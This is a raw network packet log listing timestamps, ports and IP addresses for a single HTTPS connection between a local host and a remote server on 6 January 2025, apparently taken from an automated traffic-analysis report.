Jan 6, 2025 13:56:37.515791893 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.515851974 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.572853088 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.572875023 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.572954893 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.572962046 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.573049068 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.573132038 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.573148966 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.573194027 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.573199987 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.573237896 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.573473930 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.573488951 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.573534012 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.573539972 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.573571920 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.573585033 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.573744059 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.573760986 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.573818922 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.573823929 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.573862076 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.582120895 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.582137108 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.582216978 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.582222939 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.582287073 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.582850933 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.582865953 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.582926035 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.582930088 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.582994938 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.583116055 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.583129883 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.583206892 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.583213091 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.583259106 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.586170912 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.664336920 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.664360046 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.664441109 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.664450884 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.664499044 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.664504051 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.664510012 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.664525986 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.664582968 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.664582968 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.664588928 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.664655924 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.664725065 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.664738894 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.664787054 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.664791107 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.664840937 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.665086985 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.665100098 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.665158033 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.665163040 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.665211916 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.665211916 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.665405035 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.665419102 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.665467978 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.665472984 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.665539980 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.673758984 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.673777103 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.673846960 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.673852921 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.673903942 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.674455881 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.674470901 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.674526930 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.674532890 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.674587965 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.674726963 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.674741983 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.674803972 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.674808979 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.674833059 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.674848080 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.676708937 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.756016970 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.756036997 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.756108046 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.756108046 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.756119013 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.756181002 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.756257057 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.756272078 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.756341934 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.756341934 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.756347895 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.756397963 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.756556034 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.756572008 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.756648064 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.756648064 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.756654024 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.756719112 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.756973982 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.756988049 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.757049084 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.757052898 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.757066011 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.757083893 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.757083893 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.757086039 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.757098913 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.757127047 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.757158041 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.765490055 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.765505075 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.765547037 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.765552998 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.765600920 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.765602112 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.766012907 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.766033888 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.766133070 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.766133070 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.766138077 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.766177893 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.766333103 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.766355038 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.766396999 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.766403913 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.766436100 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.766469002 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.770673037 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.847861052 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.847882032 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.847970963 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.847978115 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.848021030 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.848066092 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.848081112 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.848124981 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.848130941 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.848189116 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.848386049 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.848400116 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.848443985 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.848449945 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.848479033 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.848479033 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.848649979 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.848663092 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.848699093 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.848702908 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.848735094 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.848754883 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.848957062 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.848970890 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.849014997 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.849020958 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.849061966 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.849853992 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.857069969 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.857085943 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.857161045 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.857166052 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.857208967 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.857654095 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.857671022 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.857755899 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.857760906 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.857836008 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.857964039 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.858000040 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.858042955 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.858050108 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.858125925 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.858125925 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.861020088 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.939559937 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.939574957 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.939657927 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.939671993 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.939719915 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.939886093 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.939899921 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.939949036 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.939954996 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.940001965 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.940193892 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.940207958 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.940248013 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.940253019 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.940273046 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.940291882 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.940397978 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.940412045 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.940485001 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.940494061 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.940530062 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.940669060 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.940680981 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.940740108 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.940745115 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.940802097 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.941950083 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.948693991 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.948707104 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.948776007 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.948781013 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.948822021 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.949384928 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.949403048 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.949462891 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.949467897 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.949527025 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.949583054 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.949595928 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.949664116 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.949664116 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.949671030 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:37.949719906 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:37.951172113 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.031297922 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.031327009 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.031395912 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.031399965 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.031421900 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.031440973 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.031449080 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.031452894 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.031472921 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.031502962 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.031522036 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.031694889 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.031708956 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.031774044 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.031780005 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.031819105 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.032006979 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.032021999 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.032083035 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.032088041 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.032119036 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.032165051 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.032366037 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.032381058 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.032457113 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.032460928 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.032519102 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.040548086 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.040563107 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.040613890 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.040631056 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.040659904 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.040739059 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.040919065 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.040935040 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.041012049 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.041017056 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.041064024 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.041299105 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.041312933 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.041378975 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.041383982 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.041440010 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.041960001 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.123109102 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.123132944 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.123188972 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.123208046 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.123214006 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.123275042 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.123334885 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.123493910 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.123508930 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.123547077 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.123553038 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.123581886 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.123768091 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.123785973 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.123827934 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.123831987 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.123872995 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.124104977 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.124120951 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.124192953 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.124192953 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.124200106 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.132114887 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.132145882 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.132229090 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.132236958 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.132250071 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.132522106 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.132536888 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.132606983 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.132625103 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.132632017 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.132776976 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.132796049 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.132865906 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.132865906 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.132872105 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.133974075 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.140472889 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.214482069 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.214498997 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.214596033 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.214602947 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.214859009 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.214879990 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.214932919 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.214940071 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.214951038 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.215161085 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.215174913 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.215213060 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.215219975 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.215228081 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.215446949 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.215471983 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.215527058 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.215534925 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.215600014 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.215672970 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.215686083 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.215747118 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.215747118 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.215751886 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.223835945 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.223862886 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.223932981 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.223944902 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.223957062 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.224204063 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.224217892 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.224256039 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.224262953 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.224289894 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.224522114 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.224550009 CET	443	49986	188.114.96.3	192.168.2.5
